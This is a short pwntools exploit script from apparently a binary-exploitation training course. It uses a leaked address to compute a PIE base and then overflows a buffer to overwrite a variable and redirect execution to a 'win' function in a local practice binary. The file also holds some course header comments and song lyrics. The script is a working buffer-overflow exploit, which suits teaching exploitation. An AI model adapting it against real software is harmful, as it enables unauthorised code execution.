# +------------------------------------------------+
# | Atack: Bof Win Function Infoleak               |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction

# +------------------------------------------------+
# | Atack: Bof Win Function                        |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction

from pwn import *
import time
import sf

target = process("./Correction-BofFuncWInfoleak-x64")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=64)

target.recvuntil("The preservation of the martyr in me: ")
leak = int(target.recvuntil(b"\n").strip(b"\n"), 16)
pie_base = leak - (4544)
bof_payload.add_base("pie", pie_base)
bof_payload.set_input_start(0x28)
bof_payload.add_int32(0xc, 0xfacade)
bof_payload.set_ret(0x11a9, "pie")
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Five Finger Death Punch                |
# +------------------------------------------------+
# | Song: The Bleeding                             |
# +------------------------------------------------+
# | I remeber when                                 |
# | all the games began                            |
# +------------------------------------------------+

